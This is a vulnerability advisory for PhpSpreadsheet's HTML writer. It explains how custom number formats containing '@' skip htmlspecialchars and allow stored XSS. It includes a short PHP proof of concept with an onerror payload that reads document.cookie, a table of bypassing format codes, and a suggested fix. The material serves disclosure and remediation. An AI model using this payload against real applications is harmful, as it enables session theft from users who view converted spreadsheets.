PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

Format Code	Result	Escaped?
General (default)	Original value	YES (safe)
. @	. + value	NO (XSS!)
@ (trailing space)	value +	NO (XSS!)
x@	x + value	NO (XSS!)

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter

Keyvan Hardani